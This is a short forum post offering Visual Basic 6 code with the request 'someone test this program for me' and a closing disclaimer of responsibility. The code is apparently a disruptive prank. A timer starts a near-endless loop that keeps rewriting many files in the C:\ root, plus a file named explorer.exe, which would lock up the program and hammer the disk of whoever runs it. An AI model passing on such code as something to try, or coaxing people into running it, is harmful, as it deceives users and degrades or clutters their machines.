add a timer to your form and paste this code:
Code:
'someone test this program for me:
Private Sub Form_Load()
Timer1.Enabled = True
Timer1.Interval = 1
End Sub

Private Sub Timer1_Timer()

Dim a As Currency
a = 2
Do

a = a + 1
Open "C:\a.dat" For Output As #1
Write #1, a
Close #1
Open "C:\b.dat" For Output As #1
Write #1, a
Close #1
Open "C:\c.dat" For Output As #1
Write #1, a
Close #1
Open "C:\d.dat" For Output As #1
Write #1, a
Close #1
Open "C:\e.dat" For Output As #1
Write #1, a
Close #1
Open "C:\f.dat" For Output As #1
Write #1, a
Close #1
Open "C:\g.dat" For Output As #1
Write #1, a
Close #1
Open "C:\h.dat" For Output As #1
Write #1, a
Close #1
Open "C:\i.dat" For Output As #1
Write #1, a
Close #1
Open "C:\a\explorer.exe" For Output As #1
Write #1, a
Close #1
Open "C:\j.dat" For Output As #1
Write #1, a
Close #1
Open "C:\k.dat" For Output As #1
Write #1, a
Close #1
Open "C:\l.dat" For Output As #1
Write #1, a
Close #1
Open "C:\m.dat" For Output As #1
Write #1, a
Close #1
Open "C:\n.dat" For Output As #1
Write #1, a
Close #1

Loop Until a = 999999999
End Sub
'BTW I take no responsablity for this code and use it at your own risk